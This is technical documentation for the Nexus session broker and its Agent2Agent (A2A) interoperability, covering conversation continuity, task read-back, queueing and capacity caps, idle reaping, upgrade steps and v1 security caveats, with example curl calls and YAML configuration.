Continuity is keyed by (principal, profile, contextId). A2A lets a client choose its own contextId, so keying on it alone would let anyone name someone else’s conversation and be handed that session’s history. A colliding contextId under a different principal — or a different profile — resolves to the caller’s own binding instead. With no auth: block every caller is the same anonymous principal, exactly as lease ownership already behaves.

Durability needs state_dir. The binding is written to <state_dir>/a2a-contexts.jsonl, a separate append-only index beside the lease journal for the same reason the session → binary index is separate: the journal is compacted down to live leases, and a resume always happens after the lease was released. Without state_dir a conversation is resumable only for as long as the broker process lives.

And the index is capped at 4096 bindings, oldest dropped first — which is lossy, deliberately, and silent. Nothing ever retires a binding, because being resumable later is the entire point of one, so the key space has no natural bound and a cap is the only thing keeping the file finite. A conversation whose binding is evicted reads back as unknown, and unknown means new: the next message on that contextId starts a fresh session and the client is told nothing — the agent has simply forgotten. The degradation is always to forgetting, never to answering with the wrong session, and 4096 is generous for exactly that reason. If a conversation must survive indefinitely, keep the engine session id rather than relying on this file. See A2A context → session index.

An A2A-created lease is an ordinary lease. It is listed by GET /leases, owned by the A2A caller, counted against max_concurrent, torn down by POST /release, watched for crashes, and reaped by idle_timeout. Every message the ingress sends resets the idle timer, exactly as a WebSocket client’s input does — so an active conversation is never reaped mid-turn, and a finished one is released like anything else. The instance is deliberately not released at the end of each turn: that would make every message a cold boot.

A spawn that fails settles the task; it never hangs.

ConditionTask state
Unknown binary, a session created by a different binary, an unreadable or empty profile config, or the caller over one of its per-principal capsTASK_STATE_REJECTED — the broker refused; the same message will fail the same way until an operator changes something (or, for a quota, until the caller releases a lease)
The instance died booting, never signalled ready, the broker is at capacity, or a surviving instance is still mid-reattachTASK_STATE_FAILED — attempted and did not come up; a retry may succeed

The terminal status message explains what happened without naming a lease.

What this costs in latency. The broker’s two internal handshake bounds are the same ones a POST /claim caller already waits on, and they apply to the first message of a conversation and to a message that re-spawns one:

BoundValueWhat an A2A caller sees
Ready wait30sA cold spawn blocks the request until the instance is ready. Worst case: 30s, then a FAILED task.
Session-report grace5sWaited after ready, for the instance’s session id. Not on the answer path — a report that never arrives only costs the conversation its durable binding, so a later resume starts fresh instead of replaying.

Both are constants rather than config keys: they bound the broker’s handshake with a process it started, not a policy to tune. A second message on a live conversation pays neither — it goes straight to the running instance, which is the entire reason the instance is kept alive between turns.

What the A2A ingress translates

The broker sits between two protocols it did not design. On one side an A2A client speaks tasks, states and artifacts; on the other a leased nexus instance speaks the flat IO envelope its nexus.io.broker plugin puts inside every SignalIO frame. Until now the broker forwarded that envelope without looking at it. It now reads it, and this is the whole of the mapping.

Inbound — A2A to the instance:

A2AIO payload sent to the instance
A message with no taskId{"type":"input","content":"…"} — which the instance turns into io.input
A message naming a parked taskId{"type":"hitl.response","request_id":"…","choice_id"|"free_text":"…"}
CancelTask{"type":"cancel","turn_id":"…","source":"broker.a2a"}

The message’s text parts are joined with a blank line. A non-text part is refused with ContentTypeNotSupportedError rather than dropped: the input payload is a single string, so there is nowhere for a file to go.

Outbound — the instance to A2A. turn_id is what anchors a task: the first payload carrying one binds the task to that Nexus turn, and a payload naming a different turn is ignored.

IO payloadA2A
any first payloadSUBMITTEDWORKING status update
stream.deltaaccumulates the answer text; mints no frame of its own
stream.endcloses the current response segment; does not end the task
outputreplaces the accumulated text with what the output gates published
status (thinking, tool_running, …)keeps the task WORKING
status (idle)publishes the answer artifact, then COMPLETED
hitl.requestINPUT_REQUIRED carrying the question, options included
cancel.completeCANCELED
the instance going awayFAILED naming the cause

Three of those are worth stating outright, because they are the decisions a second reader would otherwise get wrong:

  • stream.end does not complete the task; status: idle does. A turn can produce several model responses (each tool round is one), and the instance runs its output gates after the last of them. Completing at a stream end would publish the model’s draft rather than what Nexus decided to say.
  • The answer usually comes from the deltas, not from output. Every shipped agent loop tags its io.output with streamed=true, and nexus.io.broker drops those — so on the ordinary streaming path the deltas are the only text the envelope carries. An output payload, when one does arrive, wins.
  • A payload the broker does not understand is ignored, never a task failure. The envelope is shared with every other broker client, so an instance may legitimately send something this ingress has no A2A meaning for — a tool approval.request is the live example — and an instance newer than the broker in front of it must keep working.

Because the frames a client sees must not depend on which Nexus deployment answered, this mapping and the standalone nexus.io.a2a plugin are both judged by the same conformance corpus (pkg/a2a/a2aconform).

The broker satisfies 5 of the corpus’s 9 vectors and skips 4, and the four are skipped rather than faked. The IO envelope carries no tool resultsnexus.io.broker subscribes to neither tool.invoke nor tool.result, and its payload has no field for either — so there is nothing broker-side to publish a tool, file or artifact-budget vector from. That is a property of the transport, not a gap in this effort, and it is the one place a broker-fronted agent is genuinely less expressive than a standalone one: the same agent behind nexus.io.a2a returns tool results and written files as artifacts; behind the broker it returns only the turn’s answer. The corpus reports the skips by name on every run, and a mapping that declared a feature it cannot produce would pass a vector by lying about its transport. See Plugin contracts for the wider pattern.

Reading tasks back (GetTask, ListTasks, SubscribeToTask)

A2A tasks outlive the call that created them, and on a broker they outlive far more than that: the instance that ran a task is released when the conversation goes quiet, and the broker process itself restarts. A client asks about a task precisely when those things have happened, so the broker keeps a durable record of every task in <state_dir>/a2a-tasks.jsonl — the same append-and-compact file shape as the lease journal, so a state_dir holds one kind of thing rather than two.

# What did that task end up doing?
curl -s https://broker.example/agents/support/a2a/v1/tasks/task-abc123 \
  -H 'Authorization: Bearer <token>' | jq '.status.state, .artifacts[0]'

# What has this conversation been asked lately?
curl -s 'https://broker.example/agents/support/a2a/v1/tasks?contextId=ctx-42&pageSize=10' \
  -H 'Authorization: Bearer <token>' | jq '.tasks[].id'

# Reattach to a task that is still running.
curl -sN -X POST https://broker.example/agents/support/a2a/v1/tasks/task-abc123:subscribe \
  -H 'Authorization: Bearer <token>'

Four things about these three operations:

  • They answer from the record, not from memory — even while the task is live. Every frame is persisted before it is delivered, so the record is never behind what a client has already been told, and there is one answer to the question rather than two that can differ.
  • They are scoped to the authenticated caller and to the profile they were addressed to, and a task outside that scope is indistinguishable from one that never existed. Same error, same status, same body. A distinct “exists but is not yours” answer would be an existence oracle for ids the caller was never told — the same reasoning behind the broker’s single unknown lease refusal. Profile is part of the key for the same reason it is part of a conversation’s: ListTasks on the research agent lists research tasks, not the caller’s support conversations.
  • SubscribeToTask reattaches to a live task and receives exactly the frames every other attached stream receives, opening on the state it missed. A task that is already terminal gets its state and an immediate EOF rather than an open socket nothing will ever write to; a task still queued gets its SUBMITTED snapshot and a stream that stays open until its turn runs.
  • A task left in flight by a stopped broker is settled at FAILED when the store reopens, with a status message saying so. A client polling GetTask gets an ending rather than WORKING for ever.

With no state_dir the store is memory-only. All three operations still answer, but only for tasks this process ran. That is the same bargain such a broker has already made for its leases.

Retention is a real policy and is configurable — a2a.tasks.ttl (default 24h) and a2a.tasks.max_per_context (default 50), plus a fixed global ceiling and a 16 KiB cap on stored text. A turn’s streamed output is never truncated; only the stored copy is, and it says so when it happens. The numbers and the reasoning behind each are in the configuration reference.

Two messages on one conversation queue

A Nexus instance runs one agent loop. Send it two inputs while a turn is in flight and you do not get two turns — you get one turn with both messages mixed into it. So the broker will not do that: a conversation runs one task at a time.

A second message on a contextId whose task is still live is accepted and queued. Its task sits in TASK_STATE_SUBMITTED — the specification’s own word for “accepted, not yet started” — with nothing sent to any instance, until the task ahead of it is terminal. Then it moves to TASK_STATE_WORKING and runs. A queued task is a complete task the whole time: readable with GetTask, streamable with SubscribeToTask, cancellable with CancelTask.

The queue is per (caller, profile, contextId), so two conversations never wait on each other, and it advances on exactly one event: a task reaching a terminal state. That is what makes it robust rather than fragile —

  • the instance crashing or being idle-released fails the active task, which promotes the next one, which acquires a fresh instance and carries the conversation on from its session — unless the turn had already answered, in which case it completes with its answer, because a teardown waits for the broker to finish reading the instance’s socket before it settles anything (see below);
  • cancelling a queued task removes it and disturbs nothing;
  • a queued turn is detached from the request that submitted it, so a client that hangs up has not withdrawn its message.

The one case that needs a deadline is a question nobody answers. A task at TASK_STATE_INPUT_REQUIRED keeps the queue on purpose: the agent loop is blocked inside ask_user, so starting the next turn would send input to an instance that cannot read it. a2a.tasks.input_timeout (default 15m, "0s" disables) is what stops that being a deadlock — on expiry the task is driven to FAILED, every attached stream closes, the instance is told to cancel the turn, and the queue moves. Fifteen minutes is chosen against a human: a question routed to a person has to survive being paged, read, thought about and answered.

Capacity and queueing

max_concurrent caps live instances. Each claim acquires a slot before spawning, so the live count can never exceed the cap. When the cap is full a claim does not fail immediately — it parks in a FIFO wait queue bounded by queue_wait_timeout. The moment a slot frees (release, idle, or crash) it is handed to the oldest waiter. Set queue_wait_timeout to 0 to disable waiting (at-capacity claims are rejected immediately with 503 no capacity); set max_concurrent to 0 for unlimited instances.

What max_concurrent does not bound

max_concurrent is a headcount, not a resource budget. It counts live instances; it says nothing about what those instances hold. An instance parked on a 200k-token context, with a vector store warmed and half a dozen MCP servers dialled, counts exactly one — the same as an instance that booted a second ago and has done nothing. So max_concurrent: 8 bounds the number of nexus processes and not the memory, CPU or disk those eight can consume between them.

There is deliberately no per-lease memory limit in the broker. Adding one would mean the broker policing a process it has already handed a shell and a full engine config to, which is advisory at best. Per-lease resource limits belong to the deployment: a systemd slice or MemoryMax= per instance, a cgroup, or one container per instance. Size max_concurrent so that max_concurrent × the per-instance limit fits the host, and let the OS enforce the second factor.

The other bound worth naming: max_concurrent is global, not per registry entry. One variant can fill it for every other. The only per-caller ceilings are the optional per-principal caps, and they need auth: to have any effect.

The queue itself is bounded

max_concurrent bounds live instances; max_queue_depth (default 64) bounds the claims waiting behind them. Every parked waiter costs a goroutine, a timer and an open HTTP connection for up to queue_wait_timeout, so an unbounded queue is an unbounded resource commitment. A claim that arrives when the queue is already this deep is refused immediately — never parked, so it costs none of the three — with 503 {"error":"capacity queue full"}.

That is a third distinct message, and the distinction is the point: reading claim failed log lines, an operator can tell the three apart without correlating timings.

MessageWhat actually happened
no capacityThe cap is full and waiting is switched off (queue_wait_timeout <= 0).
capacity wait timed outThis claim waited its full queue_wait_timeout and gave up.
capacity queue fullThis claim was never allowed to wait — the queue was at max_queue_depth.

Set max_queue_depth to 0 for an unlimited queue.

Per-principal caps (needs auth:)

Two optional keys bound what one authenticated principal may hold:

  • max_leases_per_principal — live leases. Over quota answers 429 {"error":"lease limit reached for this principal"}.
  • max_queued_per_principal — claims parked in the capacity queue. Over quota answers 429 {"error":"queued claim limit reached for this principal"}.

429, not 503: these are quota answers about the caller, not statements about the broker, which may have slots to spare. Both are checked before a capacity slot is taken and before the claim is queued, so an over-quota caller is refused instantly rather than parked only to be refused later, and neither can leak a slot. Both default to 0, meaning off — a per-tenant quota is a policy only the operator can size.

max_queued_per_principal is what stops one caller looping on POST /claim from occupying the whole queue and timing every other tenant’s single claim out behind it. It does not reorder anything: the queue stays strictly FIFO across all principals, and per-principal fair queueing is out of scope. It bounds how much of the queue one caller may hold.

Both keys are inert unless auth: is configured, and never apply to the anonymous principal. With no auth: block every lease is owned by the same anonymous identity, so a per-principal cap applied there would count the whole broker against one principal and silently become a second, lower max_concurrent. A broker with no auth: block therefore behaves exactly as it did before these keys existed, whatever they are set to. The same exemption covers a claim that reaches the broker with no principal on a broker that does configure auth.

Leases restored by restart recovery bypass the per-principal caps for the same reason they bypass max_concurrent: the process is already running, and refusing it would hide it rather than stop it. A principal over its cap after a restart is simply admitted no new leases until it drains back under.

Idle reaping

If a lease sits for idle_timeout with no turn in flight and no client activity, the broker releases it through the same teardown path as POST /release (so the session is persisted), recording the terminal reason idle. Set idle_timeout to 0 to disable reaping.

Two things reset the idle timer: an inbound io input frame (client → instance), and the moment the instance reports its turn finished. Output produced mid-turn, pings and control frames do not.

A turn in flight is never reaped

idle_timeout measures the human pause, not the turn. A lease whose instance is working is exempt from it however long ago its client last typed, so a ten-minute autonomous turn is no longer indistinguishable from an abandoned session.

The broker learns this from the instance’s own io.status frames, which it already relays to the client and now also reads on the way past:

io.status stateMeaning for the lease
thinking, tool_running, streaming, waiting, cancellinga turn is live — exempt from idle_timeout
idlethe turn has settled — the idle clock restarts from here
anything elseignored — liveness is left exactly as it was

Unknown states (and any payload the broker cannot decode) are ignored rather than treated as either signal, so an instance newer than the broker in front of it keeps working and its frames still reach the client untouched.

Settling a turn restarts the idle clock rather than leaving it where the user’s input left it. Without that, a turn that ran longer than idle_timeout would be reapable the instant it finished — the answer torn down before the user could read it.

max_turn_duration bounds the exemption

The exemption above is unbounded on its own: an instance that wedges mid-turn, or whose tool never returns, never reports idle and would hold its lease — and its max_concurrent slot — forever. max_turn_duration (default 30m) is the backstop. A turn that outlives it is torn down through the ordinary release path, with the terminal reason turn timeout rather than idle, so an operator reading the journal can tell “nobody was here” from “killed mid-work”.

The clock starts at the first work state after a settled period and is not refreshed by later status frames, so it measures the whole turn. Set it to 0 to disable the bound. It is enforced by the same sweeper as idle_timeout, so idle_timeout: 0 switches both off.

Size max_turn_duration above the longest turn this deployment legitimately runs: a lease reaped as turn timeout had work in progress. Note that a turn parked on a human — a plan awaiting approval, an ask_user question — counts as live, so it is bounded by this key rather than by idle_timeout.

Between them these are the only policies that release a lease for inactivity. The liveness probe described under Detecting a dead socket does not: it detaches sockets that have stopped answering at the transport level and never touches a peer that is merely quiet, and conflating the two would reap healthy sessions.

This applies to A2A instances too, and it is what makes them affordable: every message the A2A ingress sends counts as client input, so an active conversation is never reaped, and a conversation nobody is having stops costing a process. The next message on that contextId re-spawns the instance with -recall, so the client sees continuity rather than a released session.

Upgrading an existing broker

Two changes are breaking for a deployment that predates them. Both are deliberate, neither has a compatibility flag, and each has one concrete broker.yaml edit.

1. Instance binaries predating the spawn-secret protocol no longer register

Enforcement of the instance dial-back secret used to be gated on having an auth: block. It is now unconditional: every register frame must carry the per-spawn secret, on every broker, restored lease or fresh, authenticated or not. Removing auth: is no longer a workaround — it never made anything safer, it only switched this check off, and that was the hole.

Symptom. The claim hangs and then fails with 504 {"error":"instance did not become ready in time"}, while the child process is alive and connecting fine. The refusal is byte-identical on the wire to the other three (unknown lease, wrong secret, version skew), on purpose — telling them apart would let a dialer enumerate live lease ids.

Diagnosis. The broker’s WARN. A pre-protocol binary produces its register frame carried NO spawn secret; the table of causes names the rest. A 504 with no such record means the instance is simply still booting — raise ready_timeout instead.

The edit. Point the registry entry at an upgraded nexus build. The check is per spawn, so one stale variant fails while the rest of the registry keeps working:

binaries:
  nexus:
    path: /usr/local/bin/nexus          # rebuilt from this release — fine
  archive:
    path: /opt/nexus-0.9/bin/nexus      # pre-protocol — every claim naming it 504s

binaries: is reloadable, so once the new binary is on disk a SIGHUP is enough: no restart, and no lease lost to one.

2. Instances no longer inherit the broker’s environment

A spawn used to take the broker’s whole environment. It now carries only the always-pass set (HOME, LANG, PATH, TZ), the three broker-owned NEXUS_BROKER_* variables, whatever inherit_env names, and its entry’s env — see What environment an instance is given for why.

Symptom. An instance whose config expects to read a credential from the environment fails to reach its provider on the first turn. The claim itself succeeds.

Diagnosis. The per-entry binary registry entry boot line lists spawn_env=… — every name that entry’s spawns will carry, values never included. A name you expected and do not see was never passed; a name you declared in inherit_env that the broker does not itself hold gets its own startup WARN.

The edit. Put each variable your instances rely on in one of two places — inherit_env when the value lives in the broker’s environment (injected by systemd, Kubernetes or a secrets agent), or the entry’s env when the value is a property of that variant:

# before — worked only because the broker's whole environment was inherited
binaries:
  nexus:
    path: /usr/local/bin/nexus

# after
inherit_env:                     # names only; the values come from the broker's env
  - ANTHROPIC_API_KEY
  - OPENAI_API_KEY
binaries:
  nexus:
    path: /usr/local/bin/nexus
  vision:
    path: /opt/builds/nexus-vision
    env:                         # set outright — a property of this variant
      NEXUS_VISION: "1"

A claim’s config can still carry a credential inline, in which case neither key is involved.

inherit_env: ["*"] is not supported. A wildcard would restore exactly the exfiltration primitive the change closes, and because the caller picks the variable name in its own config, “allow just the harmless ones” is not a line anybody can draw.

inherit_env is also reloadable; it applies to the next spawn.

One thing that is not breaking, but is a behaviour change

Every instance now leads its own process group, so a Ctrl-C in the broker’s terminal signals the broker’s group and no longer kills the instances with it. That is intentional — it is what lets a restarted broker adopt the survivors — but a foreground broker in a development shell will now leave instances running behind it. Release them, or let idle_timeout do it.

v1 caveats

The session broker is a v1. Understand these boundaries before deploying it:

  • Identity is verified, but authorization is thin. With an auth: block configured the broker validates a credential on every client-facing route, stamps the resulting principal on each lease as its owner, refuses release / connect / ticket-mint to anyone else, and scopes GET /leases to the caller unless it holds auth.admin_scope. What it does not do:
    • It verifies identity; it never issues it. There is no login, no user store, no token endpoint. Credentials come from a static table you write, or from your own identity provider, or from a proxy you already trust. The one credential the broker mints is a WebSocket ticket, which is a lease-scoped capability, not an identity.
    • Authorization is lease ownership plus one read-only admin scope. No roles and no policy engine. The only per-tenant enforcement is the pair of admission caps described under Per-principal caps, which key off the principal id; tenant is carried on the principal and recorded, but nothing enforces it.
    • No mTLS, and no TLS at all. The broker speaks plain HTTP on listen_addr; terminate TLS at a proxy and set advertise_addr to the wss:// address clients use. Client certificates are not a supported credential. An advertise_addr promising wss:// or https:// while the broker serves cleartext is a boot WARN, not a refusal — the TLS-terminating-proxy deployment is exactly that shape, and the broker cannot tell it from a mistake.
    • No per-tenant rate limiting. max_concurrent is a global cap and not a per-binary one, so one variant can still fill it for everybody. There ARE optional per-principal caps on live leases and queued claims (max_leases_per_principal, max_queued_per_principal), but they are off by default, they need auth: to have any effect, and they are admission caps rather than a rate limit — nothing bounds how often a caller may claim and release. Nor is the binary registry part of the access-control surface: any caller allowed to claim may name any registered entry.
    • No OS-level sandboxing of instances, either — access control decides who may claim, never what a claimed process can do to the host (see Trust boundaries and the last caveat below).
    • With no auth: block, none of the above is enforced at all: any client that can reach the broker can claim, connect to, and release any instance. The broker logs one WARN at boot saying so. The one thing that block never governed is the instance dial-back, which always requires its per-spawn secret.
  • Single broker, single host. Restart-reattach works; genuine clustering does not. There is no shared lease registry, no cross-broker GET /leases, and no routing of a request to the broker that owns the lease. With state_dir unset, a broker restart orphans running instances and loses all lease tracking — the orphaned nexus processes must be cleaned up manually. With state_dir set, a restart no longer orphans them: the broker replays its journal, drops the leases whose process is gone, restores the rest with their owners and capacity slots, and the surviving instances reattach on their own reconnect backoff — reaped after reattach_window if they do not (see Surviving a restart). Recovery is strictly single-broker: it only ever reclaims leases stamped with this broker’s broker_id. Running several brokers behind one load balancer does not work as a cluster: a lease lives on exactly one process, so each broker must be individually addressable via advertise_addr, clients must reconnect to the URL the claim returned rather than to the LB, and each broker needs its own state_dir — they never read each other’s.
  • The session → binary check is advisory. A resume is reconciled against the variant recorded for that session, but the recording is best-effort: a broker with no state_dir keeps nothing, the index is capped at 4096 bindings, and sessions created before the feature (or by another broker) have none. An unrecorded session resumes unchecked, so do not treat the 409 as a guarantee.
  • A2A conversation continuity is bounded, and the bound is lossy by design. The contextId → session index holds at most 4096 bindings and drops the oldest first; a broker with no state_dir keeps none across a restart. An evicted binding reads back as unknown, so the next message on that conversation starts a fresh session with no history and nothing tells the client — see One conversation, one instance. The failure is always forgetting, never answering from the wrong session.
  • A2A task history is bounded, and the bound is lossy by design. The task store keeps 24 hours of finished tasks, 50 per conversation, 2048 in total, and 16 KiB of text per artifact or message — see Reading tasks back. A task evicted by any of those reads back as unknown, which is indistinguishable from an id that never existed, and a long answer reads back truncated (marked as such). Nothing warns a client that this happened. If you need a durable transcript, take one from the engine session rather than from the broker’s task record, which is a read-back convenience and not an archive.
  • A broker-fronted agent publishes fewer artifacts than a standalone one. The instance IO envelope carries no tool results, so a turn’s tool output and the files it wrote do not become A2A artifacts here — only the turn’s answer does. The same agent served directly by nexus.io.a2a returns all three. This is measured rather than asserted: the shared conformance corpus records the broker mapping at 5 of 9 vectors, 4 skipped, and names the skips on every run.
  • Cold-spawn per claim. There is no pre-warm pool, so each claim pays full engine boot latency before the instance signals ready. ready_timeout (default 30s) is the ceiling on that boot, and a config that pulls a long model list, warms a vector store or dials several MCP servers can legitimately need more.
  • max_concurrent is a headcount, not a resource budget. It counts live instances and bounds nothing about what they hold — an instance pinning a 200k-token context counts the same as an idle one — and it is global rather than per registry entry. Per-lease memory and CPU limits are the deployment’s job (systemd slice, cgroup, container). This was left out of the broker deliberately; see What max_concurrent does not bound.
  • A broker is not a security boundary between mutually untrusting callers. Instances are separate processes, but by default they run as the broker’s own uid with the broker’s HOME, so any claimant can read every other tenant’s ~/.nexus/sessions/ and the <state_dir>/spawn-key that derives every live lease’s dial-back secret. Scrubbing the spawn environment closed a real exfiltration hole; it did not close this one. run_as separates instances by OS user and nothing more — no filesystem sandbox, no network restriction, no CPU or memory cap, no separation between two instances of the same entry, no protection from the caller who claimed it — and it needs a privileged broker (root, or CAP_SETUID and CAP_SETGID, even when it names the broker’s own uid). Deploy one broker per trust domain, or set run_as; see Trust boundaries.

See also

  • nexus.io.broker plugin — the dial-back transport inside each instance.
  • Configuration Reference — authoritative broker + plugin config keys.
  • Authentication (auth:) — every validator key, default and validation rule, plus the per-route status mapping and the audit-record shape.
  • A2A — the protocol the agents: block speaks, and the standalone serving plugin the broker’s cards are modelled on.
  • Sessions — on-disk session layout and -recall.

Agent2Agent (A2A) Interoperability

A2A is an open protocol for agent-to-agent communication. It is built around three objects: a Task (one unit of work, moving through a lifecycle), a Message (composed of Parts), and an Artifact (task output). An agent publishes an Agent Card at a well-known URL so a client can discover what it does and how to authenticate to it.

Nexus speaks A2A in both directions, through five pieces:

PieceWhat it is
pkg/a2aA hand-rolled, dependency-free A2A codec: the data model, both HTTP bindings, the SSE transport, the Agent Card types, and the protocol error model. No third-party A2A SDK.
pkg/a2a/a2aclientThe client on top of that codec: Agent Card resolution, SendMessage, streaming, resume, GetTask, CancelTask, with the timeout and retry policy that talking to a remote over HTTP requires.
nexus.io.a2aStandalone serve: one HTTP listener that exposes a running Nexus instance as an A2A agent. One process, one conversation.
cmd/nexus-brokerBroker-fronted serve: one ingress publishing several agents, each spawning an OS-isolated instance per conversation. Many conversations, one URL.
nexus.agent.a2a_remoteThe outbound transport: one delegate_a2a_<name> tool per configured remote, letting a Nexus agent call other A2A agents.

Two ways to serve, and the choice is the first one to make. Standalone serve is one process bound to one conversation for its lifetime — right for an agent embedded in something else, or for a single long-running assistant. Broker-fronted serve is a gateway that starts and stops instances on demand, keyed by contextId — right for serving many callers behind one address. They speak the same protocol and publish the same shape of card; where they differ is set out in What works today and, in operational detail, in the session broker guide.

This guide covers the mapping between the two protocols and how a client drives a Nexus turn end to end. For every configuration key, its type and its default, the Configuration Reference is canonical.

Targeted spec version: 1.0.x

Nexus targets A2A specification 1.0.x and nothing else. pkg/a2a exposes this as constants:

a2a.ProtocolVersion // "1.0" — the Major.Minor value on the wire
a2a.SpecVersion     // the spec revision + fetch date the codec was written against

0.3.x is not supported. 1.0 was a breaking revision, and two of its changes mean a 0.3 client cannot be served by a 1.0 codec even accidentally:

  • JSON-RPC method names are PascalCase operation names (SendMessage, GetTask), not the 0.3-era dotted forms (message/send, tasks/get).
  • Part is flattened. There are no separate TextPart / FilePart / DataPart types; a Part is one object with a content oneof (text, raw, url, data) plus mediaType, filename and metadata.

An explicit A2A-Version: 0.3 is refused with VersionNotSupportedError. An absent A2A-Version is read as 1.0 by default rather than the literal §3.6.2 fallback of 0.3 — see A2A version negotiation for the reasoning and the strict_version_header opt-out.

The mapping: contextId is a session, a Task is a turn

A2ANexus
contextIdA session (~/.nexus/sessions/<id>/) — one conversation with one memory.history buffer.
TaskOne turn: one io.input, the agent loop it drives, and the answer it produces.
Task lifecycleSUBMITTED on accept → WORKING at agent.turn.startCOMPLETED at agent.turn.end, or FAILED.
Message.parts (text)The turn’s prompt, emitted as before:io.input (vetoable) then io.input.
Artifact with a text PartThe turn’s final assistant text, taken from io.output so output gates have had their say.
Artifact with an application/json PartThe same text when it is a JSON document — structured output as a document, not a string.
Artifact per tool resultEvery tool.result, unconditionally.
Artifact per written fileA path a tool.result reported writing, with the bytes inline as base64.
TaskStatusUpdateEvent.metadata under the Nexus extension URIthinking.step, tool.invoke, subagent.* and per-call token usage — only for clients that opted in.
Agent CardHand-authored config, with interfaces/capabilities/security derived from the live listener.

A multi-turn conversation is therefore N Tasks sharing one contextId, not one long-lived Task. That is the mapping to hold in mind when reading the rest of this page: nothing accumulates inside a Task, because a Task is over the moment the turn is.

sequenceDiagram
    autonumber
    participant C as A2A client
    participant P as nexus.io.a2a
    participant B as Nexus event bus
    participant A as Agent loop

    C->>P: SendStreamingMessage (contextId, parts)
    P-->>C: Task TASK_STATE_SUBMITTED
    P->>B: before:io.input (vetoable), then io.input
    B->>A: agent.turn.start
    P-->>C: statusUpdate TASK_STATE_WORKING
    A->>B: tool.invoke / tool.result
    P-->>C: artifactUpdate (tool result)
    P-->>C: statusUpdate WORKING + nexus extension metadata (opt-in only)
    A->>B: llm.response / io.output
    B->>A: agent.turn.end
    P-->>C: artifactUpdate (final text)
    P-->>C: statusUpdate TASK_STATE_COMPLETED
    Note over C,P: terminal state closes the SSE stream

One process serves exactly one context

This is the constraint that shapes everything about the standalone serve transport, so it is worth stating plainly rather than discovering from an error message.

A Nexus process owns exactly one session, fixed at boot. It has one memory.history buffer, one session workspace on disk, one set of plugin data directories. There is no bus event that starts a second session inside a running process, and no event that resets history — adding one would be a cross-cutting change to every memory plugin, not a transport concern.

So nexus.io.a2a binds its process to one A2A context:

  1. The first call claims the session. A client that names no contextId is assigned the Nexus session id and gets it back on the Task, so it has something stable to keep using. A client that names one has that name recorded.
  2. Later calls naming the same context continue it. History is intact for free, because memory.history already persists across turns within a session.
  3. A different contextId is refused with UnsupportedOperationError, and the refusal names the context the process is bound to.

Refusing is the deliberate choice. The alternative — accepting the new contextId — would hand the caller a conversation already carrying another context’s history while calling it new. A client cannot detect that, and the model would answer the second caller’s question with the first caller’s context in its prompt. An error a client can read and route around is strictly better than a confident wrong answer.

The refusal is machine-readable, carrying both a stable detail token and the context that is served:

{"error":{"code":400,"status":"FAILED_PRECONDITION",
  "message":"context \"other\" is not served by this agent: it is bound to context \"demo\" for the life of its Nexus session, so run one instance per context",
  "details":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo",
    "domain":"a2a-protocol.org","reason":"UNSUPPORTED_OPERATION",
    "metadata":{"contextId":"demo","detail":"CONTEXT_NOT_SERVED"}}]}}

For the same reason, one task runs at a time. A SendMessage arriving while another task is genuinely in flight is refused with UnsupportedOperationError (detail: TASK_ALREADY_IN_FLIGHT): the listener fronts one agent loop, and two turns would interleave on the same bus and corrupt both conversations. A sequential send is a different thing entirely and is never refused — see A terminal response means the slot is already back below.

Multi-context A2A is the session broker’s job, and it works today. One process per context is exactly the shape the session broker automates: an unknown contextId cold-spawns an OS-isolated nexus instance, a known one is routed to the instance already serving it, and one whose instance has been released re-spawns it with -recall so the conversation carries on. The client sends nothing but A2A and is never told a lease exists.

So the single-context rule above is a property of this plugin, not of Nexus: a deployment serving many concurrent conversations puts the broker in front rather than running one listener per context and routing to them itself.

A terminal response means the slot is already back

“In flight” means concurrent, never merely recent. A client that has received a terminal response may immediately send again on the same contextId. The in-flight slot is released before the response reporting the terminal state is written, on both response paths:

  • a blocking SendMessage does not write the finished Task until the turn that produced it has returned the slot;
  • a SendStreamingMessage does not end its response on §11.7’s terminal-frame stream close until the same is true.

That is a documented contract, not an incidental ordering. It is worth naming because the failure it prevents is invisible from the client side. The terminal frame reaches the response writer over a buffered channel, so a listener can be answering COMPLETED on one goroutine while another is still a step short of returning the slot. While that window existed, the most obvious client loop there is — send, await the terminal Task, send again — was refused against the slot of the turn it had just watched finish. The refusal named no wait and carried no retry guidance, and it only appeared on a loaded machine, so it read as flakiness rather than as a rule (issue #153). plugins/io/a2a/slot_test.go now pins the ordering deterministically, so a refactor that reintroduces the window fails a test instead of a client.

Which is also why TASK_ALREADY_IN_FLIGHT is not a retry-with-backoff condition. There is no settling window to wait out. A client sending sequentially that sees this refusal has found a bug in the listener, not a state it should absorb; treating it as transient noise would hide exactly the defect the guarantee exists to make visible.

The one exception is a parked task. INPUT_REQUIRED is not a terminal state — §11.7’s stream-close rule keys off terminal states and this is not one — and a task parked there deliberately keeps holding the slot, because the human’s answer resumes that turn rather than starting a second one. So a blocking SendMessage that returns a parked Task looks like an ending but has not freed the listener, and the next thing to send is the answer — carrying the same taskId — not a new request. Waiting for such a task to settle before reporting it would be worse than useless: it would withhold the question until tasks.input_timeout killed it. See Human-in-the-loop: INPUT_REQUIRED and back.

Which refusal you get, and why the difference matters

The two refusals above share one error type and one JSON-RPC code, so what a client branches on is the token in metadata.detail. They say opposite things about whether trying again could ever work:

detailWhat it meansWhat a client should do
CONTEXT_NOT_SERVEDThis process is bound to a different conversation, for the life of its Nexus sessionPermanent. Dial a different instance — no amount of waiting makes this one serve a second context, and the session broker automates the dialling
TASK_ALREADY_IN_FLIGHTYour context is the right one; a turn on it has not finishedTransient. The turn will end. If you were sending sequentially you should never see this at all

Because those two demand different responses, the contextId is resolved before the in-flight slot is checked, so a refusal always names the client’s own mistake rather than whichever condition happened to be tested first. Checking the slot first told a client presenting a genuinely foreign context that a task was already in flight — a transient-sounding reason for a permanent problem, which points the caller at a retry loop that can never succeed.

A refused request also leaves no binding behind: an unbound listener is claimed by the first turn that is accepted, not by the first that asks. A request refused for concurrency cannot capture this process’s only conversation on its way out.

Worked example

configs/test-a2a-serve.yaml ships a complete, credentialed listener with mocked LLM responses, so this runs with no API key.

make build
bin/nexus -config configs/test-a2a-serve.yaml

That config drives the engine with nexus.io.test, whose timeout: 20s ends the session — and the process — twenty seconds after boot. Raise that value if you want a longer window to poke at the endpoint by hand.

It binds 127.0.0.1:18191 (the default for a real deployment is 127.0.0.1:8091) and guards operations with the bearer token test-a2a-token.

1. Fetch the Agent Card

Discovery is unauthenticated by default — a client fetches the card precisely to learn which credentials to obtain, so gating it behind those credentials would be circular.

curl -s localhost:18191/.well-known/agent-card.json
{
  "name": "nexus-test-agent",
